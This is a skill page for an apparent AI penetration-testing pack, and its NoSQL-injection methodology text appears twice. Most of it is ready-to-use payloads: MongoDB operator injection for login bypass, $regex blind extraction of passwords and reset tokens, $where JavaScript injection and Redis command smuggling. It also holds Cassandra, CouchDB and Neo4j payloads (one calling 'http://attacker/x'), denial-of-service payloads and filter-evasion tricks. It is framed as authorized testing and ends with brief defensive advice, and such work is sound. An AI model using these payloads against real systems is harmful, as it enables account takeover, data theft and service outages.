菜单
NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
| name | nosql-injection-testing |
| description | NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's $gt, $regex, $where) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
Input shapes that reach query filters
field[$ne]=) coerced into operator objects by Express, PHP, and similar middlewareCode patterns that enable injection
find/findOne/aggregate{strict: false}, Morphia raw where(), PyMongo find() with unsanitized JSON dicts (legacy eval() is fatal)$where, $function, $accumulator, CouchDB _design viewsStores in scope MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
application/json — these can receive operator objects directlyapplication/x-www-form-urlencoded — bracket notation username[$ne]=x maps to {username: {$ne: 'x'}} in many frameworks (Express body-parser, PHP){"username": {"$gt": ""}}username[$gt]=MongoError, CastError, ValidationErrorTest whether operators pass through to the database:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
If authentication succeeds or response differs, operator injection is confirmed.
The classic operator injection against login queries of the form db.users.findOne({username: input.username, password: input.password}):
JSON body injection:
{"username": {"$ne": null}, "password": {"$ne": null}}
Matches the first document where both fields are non-null — typically the first user/admin.
Form body (bracket notation):
username[$ne]=invalid&password[$ne]=invalid
Variations:
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
$regexWhen the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using $regex:
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
$where JavaScript InjectionIf $where operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left javascriptEnabled defaulting to true), inject arbitrary server-side JavaScript:
{"$where": "function(){return this.role == 'admin'}"} // direct filter — returns matching documents
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
sleep() is available in older MongoDB for blind extraction via response-time differential.
$function and $accumulator (MongoDB 4.4+)Server-side JavaScript in aggregations. $function must live inside an expression context — $expr, $project, $addFields, etc. — not as a top-level filter:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
Gated by the same javascriptEnabled parameter as $where, but reachable through aggregation endpoints — useful when $where is filtered at the query layer but aggregation pipelines remain user-influenceable.
$match, $lookup, and $project stages accept the same operator payloads as find(). User-controlled $lookup.from is the highest-impact variant — it can pivot the query to a different collection (e.g., from orders into users) and exfiltrate cross-tenant data.
When Redis commands are constructed by string concatenation:
redis.execute_command(f"SET {user_key} {value}")
Inject newline characters (\r\n) to inject additional Redis commands (RESP protocol injection):
key\r\nSET backdoor attacker_controlled\r\nSET dummy
query_string and simple_query_string accept Lucene syntax. User input flowing directly:
q=normal+search → normal results
q=* → all documents
q=role:admin → filter by field
q=_exists_:password_hash → existence probe
For Painless script injection via _update:
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
If the source field is user-controlled, inject arbitrary Painless.
PartiQL injection allows expansion of intended queries:
-- Intended:
SELECT * FROM Users WHERE username = 'input'
-- Injected:
SELECT * FROM Users WHERE username = 'x' OR '1'='1
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via session.prepare():
username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
No SLEEP or OOB primitive natively — detection is boolean/error-based only.
Mango selectors on _find accept operator payloads in the same shape as MongoDB:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
_design document injection — if user input flows into a design doc's views.<name>.map, the JavaScript runs server-side in the Couch sandbox on every view query:
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
Also probe _all_docs?include_docs=true for unscoped enumeration and check for admin-party misconfigurations (_users/_all_docs reachable without auth) before payload work.
When user input is concatenated into Cypher rather than passed as a parameter ($param):
# Vulnerable
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
APOC abuse (when apoc.* procedures are enabled via dbms.security.procedures.unrestricted):
CALL apoc.load.json('http://attacker/x') — SSRF and external data fetchCALL apoc.cypher.run("...", {}) — dynamic query execution from a stringCALL dbms.security.listUsers() — user enumeration on misconfigured Community EditionResolvers passing variables straight into a backing NoSQL filter are a common chained vector:
query Login($input: UserFilter!) {
user(filter: $input) { id role }
}
With $input reaching db.users.findOne(input), send:
{"input": {"username": "admin", "password": {"$ne": ""}}}
Use introspection (__schema, __type) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
Fingerprint SSJS state before investing in $where / $function payloads:
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
DoS surface (use only with explicit authorization scope):
{"field": {"$regex": "^(a+)+$"}} against long values triggers catastrophic backtracking$in arrays: thousands of values force linear scans on unindexed fields$where loops: {"$where": "while(true){}"} if SSJS is enabled without query timeouts$lookup across large unindexed collectionsType Coercion
{"$gt": [""]} — some drivers coerce arraysEncoding
username%5B%24ne%5D=x → username[$ne]=xOperator Alternatives
$nin (not in), $exists: false, $type — alternative operators that reach the same result when $ne is filtered$not wrapping another operator: {"field": {"$not": {"$eq": "value"}}}$expr with $ne for complex comparisons: {"$expr": {"$ne": ["$password", "wrong"]}}Structure Manipulation
{"a.b": "c"} vs {"a": {"b": "c"}} — sanitizers often strip one form but pass the other["$or", ...] as operator arrays__proto__ and constructor.prototype keys in JSON bodies polluting Object prototypes consumed downstream by query builders$regex case-insensitive flag ("$options": "i") widens matches that case-sensitive filters miss$ne, $gt, $regex against login endpoint$regex on sensitive fields (token, reset code)$where — if older MongoDB version detected, attempt JavaScript sleep-based timingfilter/match/sort fieldsquery_string, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL__schema introspection to enumerate candidates$regex blind extraction$where: show timing differential with/without sleep()strict mode on)password field to string — operator object becomes [object Object]$ne/$regex/$gt filters$where on unpatched MongoDB instances{"field": {"$ne": null}}) and bracket-notation form (field[$ne]=) — different middleware handles them differently$regex extraction, not just passwords/admin/serverStatus; $where is active by default on pre-7.0 instances — that includes 4.4–6.x targets where javascriptEnabled was deprecated but not yet disabled, making them still exploitable unless explicitly hardened_cat/indices, _mapping, and _search with query_string: * before attempting script injection/admin or /api/users to escalate impact$regex extraction with binary search: 7 requests per character vs 94 with linear searchNoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's $gt, $regex, $where) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
Input shapes that reach query filters
field[$ne]=) coerced into operator objects by Express, PHP, and similar middlewareCode patterns that enable injection
find/findOne/aggregate{strict: false}, Morphia raw where(), PyMongo find() with unsanitized JSON dicts (legacy eval() is fatal)$where, $function, $accumulator, CouchDB _design viewsStores in scope MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
application/json — these can receive operator objects directlyapplication/x-www-form-urlencoded — bracket notation username[$ne]=x maps to {username: {$ne: 'x'}} in many frameworks (Express body-parser, PHP){"username": {"$gt": ""}}username[$gt]=MongoError, CastError, ValidationErrorTest whether operators pass through to the database:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
If authentication succeeds or response differs, operator injection is confirmed.
The classic operator injection against login queries of the form db.users.findOne({username: input.username, password: input.password}):
JSON body injection:
{"username": {"$ne": null}, "password": {"$ne": null}}
Matches the first document where both fields are non-null — typically the first user/admin.
Form body (bracket notation):
username[$ne]=invalid&password[$ne]=invalid
Variations:
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
$regexWhen the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using $regex:
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
$where JavaScript InjectionIf $where operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left javascriptEnabled defaulting to true), inject arbitrary server-side JavaScript:
{"$where": "function(){return this.role == 'admin'}"} // direct filter — returns matching documents
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
sleep() is available in older MongoDB for blind extraction via response-time differential.
$function and $accumulator (MongoDB 4.4+)Server-side JavaScript in aggregations. $function must live inside an expression context — $expr, $project, $addFields, etc. — not as a top-level filter:
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
Gated by the same javascriptEnabled parameter as $where, but reachable through aggregation endpoints — useful when $where is filtered at the query layer but aggregation pipelines remain user-influenceable.
$match, $lookup, and $project stages accept the same operator payloads as find(). User-controlled $lookup.from is the highest-impact variant — it can pivot the query to a different collection (e.g., from orders into users) and exfiltrate cross-tenant data.
When Redis commands are constructed by string concatenation:
redis.execute_command(f"SET {user_key} {value}")
Inject newline characters (\r\n) to inject additional Redis commands (RESP protocol injection):
key\r\nSET backdoor attacker_controlled\r\nSET dummy
query_string and simple_query_string accept Lucene syntax. User input flowing directly:
q=normal+search → normal results
q=* → all documents
q=role:admin → filter by field
q=_exists_:password_hash → existence probe
For Painless script injection via _update:
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
If the source field is user-controlled, inject arbitrary Painless.
PartiQL injection allows expansion of intended queries:
-- Intended:
SELECT * FROM Users WHERE username = 'input'
-- Injected:
SELECT * FROM Users WHERE username = 'x' OR '1'='1
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via session.prepare():
username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
No SLEEP or OOB primitive natively — detection is boolean/error-based only.
Mango selectors on _find accept operator payloads in the same shape as MongoDB:
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
_design document injection — if user input flows into a design doc's views.<name>.map, the JavaScript runs server-side in the Couch sandbox on every view query:
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
Also probe _all_docs?include_docs=true for unscoped enumeration and check for admin-party misconfigurations (_users/_all_docs reachable without auth) before payload work.
When user input is concatenated into Cypher rather than passed as a parameter ($param):
# Vulnerable
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
APOC abuse (when apoc.* procedures are enabled via dbms.security.procedures.unrestricted):
CALL apoc.load.json('http://attacker/x') — SSRF and external data fetchCALL apoc.cypher.run("...", {}) — dynamic query execution from a stringCALL dbms.security.listUsers() — user enumeration on misconfigured Community EditionResolvers passing variables straight into a backing NoSQL filter are a common chained vector:
query Login($input: UserFilter!) {
user(filter: $input) { id role }
}
With $input reaching db.users.findOne(input), send:
{"input": {"username": "admin", "password": {"$ne": ""}}}
Use introspection (__schema, __type) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
Fingerprint SSJS state before investing in $where / $function payloads:
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
DoS surface (use only with explicit authorization scope):
{"field": {"$regex": "^(a+)+$"}} against long values triggers catastrophic backtracking$in arrays: thousands of values force linear scans on unindexed fields$where loops: {"$where": "while(true){}"} if SSJS is enabled without query timeouts$lookup across large unindexed collectionsType Coercion
{"$gt": [""]} — some drivers coerce arraysEncoding
username%5B%24ne%5D=x → username[$ne]=xOperator Alternatives
$nin (not in), $exists: false, $type — alternative operators that reach the same result when $ne is filtered$not wrapping another operator: {"field": {"$not": {"$eq": "value"}}}$expr with $ne for complex comparisons: {"$expr": {"$ne": ["$password", "wrong"]}}Structure Manipulation
{"a.b": "c"} vs {"a": {"b": "c"}} — sanitizers often strip one form but pass the other["$or", ...] as operator arrays__proto__ and constructor.prototype keys in JSON bodies polluting Object prototypes consumed downstream by query builders$regex case-insensitive flag ("$options": "i") widens matches that case-sensitive filters miss$ne, $gt, $regex against login endpoint$regex on sensitive fields (token, reset code)$where — if older MongoDB version detected, attempt JavaScript sleep-based timingfilter/match/sort fieldsquery_string, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL__schema introspection to enumerate candidates$regex blind extraction$where: show timing differential with/without sleep()strict mode on)password field to string — operator object becomes [object Object]$ne/$regex/$gt filters$where on unpatched MongoDB instances{"field": {"$ne": null}}) and bracket-notation form (field[$ne]=) — different middleware handles them differently$regex extraction, not just passwords/admin/serverStatus; $where is active by default on pre-7.0 instances — that includes 4.4–6.x targets where javascriptEnabled was deprecated but not yet disabled, making them still exploitable unless explicitly hardened_cat/indices, _mapping, and _search with query_string: * before attempting script injection/admin or /api/users to escalate impact$regex extraction with binary search: 7 requests per character vs 94 with linear searchNoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.
record_vulnerability when running inside the penkit51 platformrecord_vulnerability when running inside the penkit51 platform